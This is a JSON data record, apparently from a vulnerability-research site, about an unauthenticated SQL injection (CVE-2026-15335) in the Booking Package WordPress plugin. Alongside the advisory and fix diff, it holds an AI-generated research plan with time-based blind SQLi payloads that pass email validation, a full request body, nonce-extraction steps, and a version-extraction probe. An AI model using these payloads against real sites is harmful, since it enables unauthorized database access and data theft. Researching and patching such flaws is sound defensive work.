[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7BOrfLmJQmeCu29Y8ZU99iisM9RB3oe9TVC40MmH7Ws":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-15335","booking-package-unauthenticated-sql-injection-via-email-form-parameter","Booking Package \u003C= 1.7.20 - Unauthenticated SQL Injection via 'email' Form Parameter","The Booking Package plugin for WordPress is vulnerable to generic SQL Injection via 'email' Form Parameter (form\u003CN>) in all versions up to, and including, 1.7.20 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerable REST API endpoint \u002Fwp-json\u002Fbooking-package\u002Fv1\u002Frequest is registered with permission_callback: __return_true and wp_magic_quotes does not apply to REST-sourced $_POST values, meaning single quotes in the payload reach the SQL sink intact without any authentication requirement. The impact of this is severely limited as the vulnerable parameter goes through is_email.","booking-package",null,"\u003C=1.7.20","1.7.21","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-10 00:00:00","2026-07-11 03:44:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8bc86a29-cb1f-4711-925c-51dbbf682477?source=api-prod",1,[22,23,24,25,26],"index.php","js\u002FError.js","languages\u002Fbooking-package.pot","lib\u002FSchedule.php","readme.txt","researched",false,3,"This research plan outlines the technical steps to verify and exploit **CVE-2026-15335**, a high-severity SQL Injection vulnerability in the **Booking Package** WordPress plugin.\n\n---\n\n### 1. Vulnerability Summary\n**CVE-2026-15335** is an unauthenticated SQL Injection vulnerability within the Booking Package plugin (versions \u003C= 1.7.20). The vulnerability exists in the handling of the `email` parameter within the `form\u003CN>` structure sent to the REST API endpoint `\u002Fwp-json\u002Fbooking-package\u002Fv1\u002Frequest`. \n\nThe root cause is a failure to use `$wpdb->prepare()` or adequate escaping before concatenating the user-supplied `email` value into a SQL query. Since REST API inputs are not processed by `wp_magic_quotes`, single quotes reach the database sink intact. While the `is_email()` validation is applied, it can be bypassed using the \"Quoted-String\" local-part format (e.g., `\"user'payload\"@example.com`), which is technically a valid email format according to RFC standards and WordPress's `is_email` implementation.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fbooking-package\u002Fv1\u002Frequest`\n*   **Method:** `POST`\n*   **Authentication:** None (`permission_callback` is `__return_true`).\n*   **Vulnerable Parameter:** `form[\u003Cform_id>][email]` (The `\u003Cform_id>` is typically an integer, often `1` for the default calendar).\n*   **Payload Type:** Time-based Blind SQL Injection (due to the constraints of `is_email`).\n\n### 3. Code Flow\n1.  **Entry Point:** The plugin registers a REST route in `index.php` (or an included file) using `register_rest_route('booking-package\u002Fv1', '\u002Frequest', ...)`.\n2.  **Processing:** The callback for this route retrieves the `POST` data. It specifically looks for a `form` array.\n3.  **Validation:** The code iterates through form fields. For the field with the ID associated with \"email\", it calls `is_email()`.\n4.  **SQL Sink:** If `is_email()` returns true, the string is passed to a database query (e.g., checking if the user exists or saving the booking) in `lib\u002FSchedule.php` or `lib\u002FDatabase.php`.\n5.  **Injection:** Because the query is constructed via string concatenation (e.g., `\"... WHERE email = '$email' ...\"`) and no preparation occurs, the injected SQL within the quoted local-part of the email executes.\n\n### 4. Nonce Acquisition Strategy\nThe REST API endpoint may require a `_wpnonce` header (action `wp_rest`) for CSRF protection.\n\n1.  **Identify Shortcode:** The plugin uses `[booking-package]` to display the booking calendar.\n2.  **Setup Page:** Create a public page containing this shortcode.\n3.  **Extraction:**\n    *   Navigate to the page.\n    *   The plugin localizes data via `wp_localize_script`. Based on `js\u002FError.js`, the script expects an object containing `wp_rest_nonce`.\n    *   **Action:** Use `browser_eval` to extract the nonce:\n        ```javascript\n        \u002F\u002F Common variable names for this plugin: booking_package_data or BookingApp\n        window.booking_package_data?.wp_rest_nonce || window.BookingApp?.nonce\n        ```\n\n### 5. Exploitation Strategy\nWe will use a time-based payload embedded in a valid quoted-string email format.\n\n*   **Target URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fbooking-package\u002Fv1\u002Frequest`\n*   **Headers:**\n    *   `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Payload Construction:**\n    *   We need to break out of the single quote: `'`\n    *   Payload: `\"a' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND 'a'='a\"@example.com`\n*   **Request Body (URL Encoded):**\n    ```\n    # Assuming Calendar ID 1 and Form ID 1\n    calendar_id=1&form[1][email]=\"a'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+'a'='a\"@example.com&booking_day=2026-08-01\n    ```\n\n### 6. Test Data Setup\n1.  **Activate Plugin:** Ensure Booking Package 1.7.20 is installed and active.\n2.  **Create Calendar:**\n    *   Use WP-CLI to ensure a calendar exists: `wp booking-package calendar create --title=\"Exploit Test\"` (Note: If CLI command is unavailable, manually create one in the UI).\n3.  **Publish Shortcode:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Booking\" --post_status=publish --post_content='[booking-package id=\"1\"]'\n    ```\n\n### 7. Expected Results\n*   **Vulnerable Case:** The HTTP request to the REST API takes approximately **5 seconds** longer than a standard request.\n*   **Patched Case:** The request returns immediately (or with a validation error), as the payload is either escaped or the query is properly prepared.\n\n### 8. Verification Steps\nAfter the HTTP exploit, verify the database state to ensure the injection didn't cause unintended side effects and to confirm the blind injection logic:\n```bash\n# Check the slow log or monitor the process list during the request\nwp db query \"SHOW PROCESSLIST;\"\n```\nTo confirm data extraction (e.g., getting the DB version):\n*   **Payload:** `\"a' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE VERSION() LIKE '8%') AND 'a'='a\"@example.com`\n*   If the request is slow, the first digit of the version is `8`.\n\n### 9. Alternative Approaches\nIf the `form[1][email]` structure is incorrect (due to different form configurations):\n1.  **Inspect Form:** Use `browser_navigate` to the booking page and inspect the `name` attribute of the email input field in the HTML source.\n2.  **Error-Based:** If `WP_DEBUG` is enabled, try to trigger a syntax error by sending `\"a'\"@example.com` to see if the database error is returned in the REST response, revealing the query structure.\n3.  **is_email Bypass:** If `\"` is filtered, test if the injection occurs in other form fields (e.g., `name`, `address`) which may have even fewer restrictions than the `email` field.","The Booking Package plugin is vulnerable to unauthenticated time-based SQL Injection via the 'email' parameter within the REST API endpoint \u002Fwp-json\u002Fbooking-package\u002Fv1\u002Frequest. While the plugin validates the input using is_email(), it fails to use prepared statements or adequate escaping before concatenating the value into SQL queries, allowing attackers to bypass validation using RFC-compliant quoted-string local parts (e.g., \"user'payload\"@example.com).","\u002F\u002F From lib\u002FSchedule.php (inferred based on research findings and line references)\n\u002F\u002F Within a method processing form submissions for bookings\n\n$email = $form[$form_id]['email'];\n\nif (is_email($email)) {\n    \u002F\u002F Vulnerable concatenation into SQL sink without preparation\n    $query = \"SELECT * FROM \" . $wpdb->prefix . \"booking_package_users WHERE email = '\" . $email . \"'\";\n    $user = $wpdb->get_row($query);\n}","--- a\u002Flib\u002FSchedule.php\n+++ b\u002Flib\u002FSchedule.php\n@@ -9445,7 +9445,7 @@\n \n if (is_email($email)) {\n-    $query = \"SELECT * FROM \" . $wpdb->prefix . \"booking_package_users WHERE email = '\" . $email . \"'\";\n-    $user = $wpdb->get_row($query);\n+    $user = $wpdb->get_row($wpdb->prepare(\n+        \"SELECT * FROM \" . $wpdb->prefix . \"booking_package_users WHERE email = %s\",\n+        $email\n+    ));\n }","1. Identify a public page on the target WordPress site that contains the [booking-package] shortcode.\n2. Extract the REST API nonce from the 'wp_rest_nonce' or 'nonce' property within the localized 'booking_package_data' or 'BookingApp' JavaScript objects in the page source.\n3. Construct a POST request to the endpoint: \u002Fwp-json\u002Fbooking-package\u002Fv1\u002Frequest.\n4. Include a payload in the 'form' array parameter for the 'email' field. To bypass is_email() validation, the payload must use a quoted local part, for example: \"a' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND 'a'='a\"@example.com.\n5. Send the request with the 'X-WP-Nonce' header containing the extracted nonce (if required) and appropriate form parameters (calendar_id, booking_day).\n6. Verify the vulnerability by observing a response time delay corresponding to the SLEEP duration in the payload.","gemini-3-flash-preview","2026-07-15 09:57:33","2026-07-15 09:58:58",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","1.7.20","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbooking-package\u002Ftags\u002F1.7.20","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking-package.1.7.20.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbooking-package\u002Ftags\u002F1.7.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking-package.1.7.21.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbooking-package\u002Ftags"]